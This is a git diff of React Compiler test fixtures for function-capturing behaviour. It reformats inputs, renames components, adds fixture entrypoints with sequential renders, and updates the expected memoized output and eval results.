--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.expect.md
@@ -15,7 +15,7 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [{ a: ["val1", "val2"] }],
+  params: [{a: ['val1', 'val2']}],
   isComponent: false,
 };
 
@@ -41,6 +41,7 @@ function bar(a) {
   } else {
     y = $[1];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.js
index 2a18598be646..861a4f3d14b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.js
@@ -11,6 +11,6 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [{ a: ["val1", "val2"] }],
+  params: [{a: ['val1', 'val2']}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.expect.md
index 9a75ad1b0fd9..57f809f84a94 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.expect.md
@@ -14,7 +14,7 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: ["TodoAdd"],
+  params: ['TodoAdd'],
 };
 
 ```
@@ -24,19 +24,27 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function bar(a) {
-  const $ = _c(2);
-  let y;
+  const $ = _c(4);
+  let t0;
   if ($[0] !== a) {
-    const x = [a];
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0]) {
     y = {};
 
-    y;
     y = x[0];
-    $[0] = a;
-    $[1] = y;
+    $[2] = x[0];
+    $[3] = y;
   } else {
-    y = $[1];
+    y = $[3];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.js
index 871a15320d08..9a0c7c19aa70 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.js
@@ -10,5 +10,5 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: ["TodoAdd"],
+  params: ['TodoAdd'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.expect.md
index 8833331a7f16..a3966035f80f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.expect.md
@@ -15,8 +15,8 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -41,6 +41,7 @@ function bar(a) {
   } else {
     y = $[1];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.js
index c9db11c0265a..7abf7c093e57 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.js
@@ -11,6 +11,6 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.expect.md
index 9e4bf5d5d9bd..f72e68eb9de9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.expect.md
@@ -2,8 +2,10 @@
 ## Input
 
 ```javascript
-function component(a, b) {
-  let z = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a, b}) {
+  let z = {a};
   (function () {
     mutate(z);
   })();
@@ -11,20 +13,34 @@ function component(a, b) {
 
   {
     // z is shadowed & renamed but the lambda is unaffected.
-    let z = { b };
-    y = { y, z };
+    let z = {b};
+    y = {y, z};
   }
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 2, b: 4},
+    {a: 3, b: 4},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a, b) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(7);
+  const { a, b } = t0;
   let z;
   if ($[0] !== a) {
     z = { a };
@@ -37,27 +53,44 @@ function component(a, b) {
   }
 
   let y = z;
-  let t0;
+  let t1;
   if ($[2] !== b) {
-    t0 = { b };
+    t1 = { b };
     $[2] = b;
-    $[3] = t0;
+    $[3] = t1;
   } else {
-    t0 = $[3];
+    t1 = $[3];
   }
-  const z_0 = t0;
-  let t1;
+  const z_0 = t1;
+  let t2;
   if ($[4] !== y || $[5] !== z_0) {
-    t1 = { y, z: z_0 };
+    t2 = { y, z: z_0 };
     $[4] = y;
     $[5] = z_0;
-    $[6] = t1;
+    $[6] = t2;
   } else {
-    t1 = $[6];
+    t2 = $[6];
   }
-  y = t1;
+  y = t2;
+
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2, b: 3 }],
+  sequentialRenders: [
+    { a: 2, b: 3 },
+    { a: 2, b: 3 },
+    { a: 2, b: 4 },
+    { a: 3, b: 4 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"y":{"a":2,"wat0":"joe"},"z":{"b":3}}
+{"y":{"a":2,"wat0":"joe"},"z":{"b":3}}
+{"y":{"a":2,"wat0":"joe"},"z":{"b":4}}
+{"y":{"a":3,"wat0":"joe"},"z":{"b":4}}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.js
index 6abd7c861242..b13e563ea820 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.js
@@ -1,5 +1,7 @@
-function component(a, b) {
-  let z = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a, b}) {
+  let z = {a};
   (function () {
     mutate(z);
   })();
@@ -7,8 +9,19 @@ function component(a, b) {
 
   {
     // z is shadowed & renamed but the lambda is unaffected.
-    let z = { b };
-    y = { y, z };
+    let z = {b};
+    y = {y, z};
   }
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 2, b: 4},
+    {a: 3, b: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.expect.md
index 6055ca42c955..743d3ce9e890 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.expect.md
@@ -2,9 +2,8 @@
 ## Input
 
 ```javascript
-// @debug
-function component(a, b) {
-  let z = { a };
+function useHook(a, b) {
+  let z = {a};
   let y = b;
   let x = function () {
     if (y) {
@@ -22,8 +21,8 @@ function component(a, b) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @debug
-function component(a, b) {
+import { c as _c } from "react/compiler-runtime";
+function useHook(a, b) {
   const $ = _c(5);
   let t0;
   if ($[0] !== a) {
@@ -49,6 +48,7 @@ function component(a, b) {
     t1 = $[4];
   }
   const x = t1;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.js
index 5e9234b1fca2..04d6ca29e1fe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.js
@@ -1,6 +1,5 @@
-// @debug
-function component(a, b) {
-  let z = { a };
+function useHook(a, b) {
+  let z = {a};
   let y = b;
   let x = function () {
     if (y) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.expect.md
index 143ffa5bf91d..a023d50236d8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let t = { a };
+  let t = {a};
   function x() {
     t.foo();
   }
@@ -13,8 +13,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.js
index 6832a5ce75db..f8d1e184b3c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let t = { a };
+  let t = {a};
   function x() {
     t.foo();
   }
@@ -9,6 +9,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.expect.md
index cf60e8c0d337..d9b3632a902c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Foo(props) {
   const onFoo = useCallback(
-    (reason) => {
+    reason => {
       log(props.router.location);
     },
     [props.router.location]
@@ -32,6 +32,7 @@ function Foo(props) {
     t0 = $[1];
   }
   const onFoo = t0;
+
   return onFoo;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.js
index 5eeb6bf8f2c0..ed8ddd804e47 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.js
@@ -1,6 +1,6 @@
 function Foo(props) {
   const onFoo = useCallback(
-    (reason) => {
+    reason => {
       log(props.router.location);
     },
     [props.router.location]
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.expect.md
index 85291985d002..cab9c9a500b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function component({ mutator }) {
+function component({mutator}) {
   const poke = () => {
     mutator.poke();
   };
@@ -46,10 +46,10 @@ function component(t0) {
   }
   const hide = t2;
   let t3;
-  if ($[4] !== poke || $[5] !== hide) {
+  if ($[4] !== hide || $[5] !== poke) {
     t3 = <Foo poke={poke} hide={hide} />;
-    $[4] = poke;
-    $[5] = hide;
+    $[4] = hide;
+    $[5] = poke;
     $[6] = t3;
   } else {
     t3 = $[6];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.js
index 1b58c578bcb7..f2c7e900e3ae 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.js
@@ -1,4 +1,4 @@
-function component({ mutator }) {
+function component({mutator}) {
   const poke = () => {
     mutator.poke();
   };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.expect.md
index 5d237dfe169d..9d9b79ef2572 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.expect.md
@@ -2,10 +2,12 @@
 ## Input
 
 ```javascript
-function component(a, b) {
-  let z = { a };
+import {mutate} from 'shared-runtime';
+
+function useHook({a, b}) {
+  let z = {a};
   {
-    let z = { b };
+    let z = {b};
     (function () {
       mutate(z);
     })();
@@ -13,29 +15,60 @@ function component(a, b) {
   return z;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 2, b: 4},
+    {a: 3, b: 4},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a, b) {
+import { mutate } from "shared-runtime";
+
+function useHook(t0) {
   const $ = _c(2);
-  let t0;
+  const { a, b } = t0;
+  let t1;
   if ($[0] !== a) {
-    t0 = { a };
+    t1 = { a };
     $[0] = a;
-    $[1] = t0;
+    $[1] = t1;
   } else {
-    t0 = $[1];
+    t1 = $[1];
   }
-  const z = t0;
+  const z = t1;
 
   const z_0 = { b };
 
   mutate(z_0);
+
   return z;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ a: 2, b: 3 }],
+  sequentialRenders: [
+    { a: 2, b: 3 },
+    { a: 2, b: 3 },
+    { a: 2, b: 4 },
+    { a: 3, b: 4 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"a":2}
+{"a":2}
+{"a":2}
+{"a":3}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.js
index 5ad8300381be..49595f19d7e6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.js
@@ -1,10 +1,23 @@
-function component(a, b) {
-  let z = { a };
+import {mutate} from 'shared-runtime';
+
+function useHook({a, b}) {
+  let z = {a};
   {
-    let z = { b };
+    let z = {b};
     (function () {
       mutate(z);
     })();
   }
   return z;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 2, b: 4},
+    {a: 3, b: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.expect.md
index 1c1747a05523..31b80bcda3b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.expect.md
@@ -2,11 +2,17 @@
 ## Input
 
 ```javascript
-function component(a, b) {
-  let z = { a };
-  let p = () => <Foo>{z}</Foo>;
+import {Stringify} from 'shared-runtime';
+function Component({a, b}) {
+  let z = {a};
+  let p = () => <Stringify>{z}</Stringify>;
   return p();
 }
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],
+};
 
 ```
 
@@ -14,36 +20,32 @@ function component(a, b) {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a, b) {
-  const $ = _c(6);
-  let t0;
+import { Stringify } from "shared-runtime";
+function Component(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
   if ($[0] !== a) {
-    t0 = { a };
+    const z = { a };
+    const p = () => <Stringify>{z}</Stringify>;
+    t1 = p();
     $[0] = a;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const z = t0;
-  let t1;
-  if ($[2] !== z) {
-    t1 = () => <Foo>{z}</Foo>;
-    $[2] = z;
-    $[3] = t1;
+    $[1] = t1;
   } else {
-    t1 = $[3];
+    t1 = $[1];
   }
-  const p = t1;
-  let t2;
-  if ($[4] !== p) {
-    t2 = p();
-    $[4] = p;
-    $[5] = t2;
-  } else {
-    t2 = $[5];
-  }
-  return t2;
+  return t1;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 1 }],
+  sequentialRenders: [{ a: 1 }, { a: 1 }, { a: 2 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>{"children":{"a":1}}</div>
+<div>{"children":{"a":1}}</div>
+<div>{"children":{"a":2}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.js
index 1482ae4594de..d5a4bb842f96 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.js
@@ -1,5 +1,11 @@
-function component(a, b) {
-  let z = { a };
-  let p = () => <Foo>{z}</Foo>;
+import {Stringify} from 'shared-runtime';
+function Component({a, b}) {
+  let z = {a};
+  let p = () => <Stringify>{z}</Stringify>;
   return p();
 }
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.expect.md
index cfb776900b40..d409bd32965f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.expect.md
@@ -2,36 +2,58 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let z = { a };
+import {mutate, Stringify} from 'shared-runtime';
+function Component({a}) {
+  let z = {a};
   let x = function () {
     let z;
     mutate(z);
+    return z;
   };
-  return x;
+  return <Stringify fn={x} shouldInvokeFns={true} />;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate, Stringify } from "shared-runtime";
+function Component(t0) {
   const $ = _c(1);
-  let t0;
+
+  const x = _temp;
+  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = function () {
-      let z_0;
-      mutate(z_0);
-    };
-    $[0] = t0;
+    t1 = <Stringify fn={x} shouldInvokeFns={true} />;
+    $[0] = t1;
   } else {
-    t0 = $[0];
+    t1 = $[0];
   }
-  const x = t0;
-  return x;
+  return t1;
 }
+function _temp() {
+  let z_0;
+  mutate(z_0);
+  return z_0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 1 }],
+  sequentialRenders: [{ a: 1 }, { a: 1 }, { a: 2 }],
+};
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.js
index 1249264e8bb2..a0ce67e4d00b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-shadow-captured.js
@@ -1,8 +1,16 @@
-function component(a) {
-  let z = { a };
+import {mutate, Stringify} from 'shared-runtime';
+function Component({a}) {
+  let z = {a};
   let x = function () {
     let z;
     mutate(z);
+    return z;
   };
-  return x;
+  return <Stringify fn={x} shouldInvokeFns={true} />;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+  sequentialRenders: [{a: 1}, {a: 1}, {a: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.expect.md
index c8ed204de87c..89e69d0790bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function StoreLandingUnseenGiftModalContainer(a) {
-  const giftsSeen = { a };
-  return ((gift) => (gift.id ? giftsSeen[gift.id] : false))();
+  const giftsSeen = {a};
+  return (gift => (gift.id ? giftsSeen[gift.id] : false))();
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: StoreLandingUnseenGiftModalContainer,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.js
index 7e31e914692e..48332e6e01d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-skip-computed-path.js
@@ -1,10 +1,10 @@
 function StoreLandingUnseenGiftModalContainer(a) {
-  const giftsSeen = { a };
-  return ((gift) => (gift.id ? giftsSeen[gift.id] : false))();
+  const giftsSeen = {a};
+  return (gift => (gift.id ? giftsSeen[gift.id] : false))();
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: StoreLandingUnseenGiftModalContainer,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.expect.md
index 39f04f140dd4..b0bbce8d87e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x;
   {
     x = function () {
@@ -15,8 +15,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -48,6 +48,7 @@ function component(a) {
     t1 = $[3];
   }
   x = t1;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.js
index 125bd3e7b129..72510bf9c37a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-within-block.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x;
   {
     x = function () {
@@ -11,6 +11,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.expect.md
index dc10a284eaf9..943533a63d12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     console.log(z.a);
   };
@@ -12,8 +12,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -44,6 +44,7 @@ function component(a) {
     t1 = $[3];
   }
   const x = t1;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.js
index 8990198eae0d..2305db93f9b7 100644
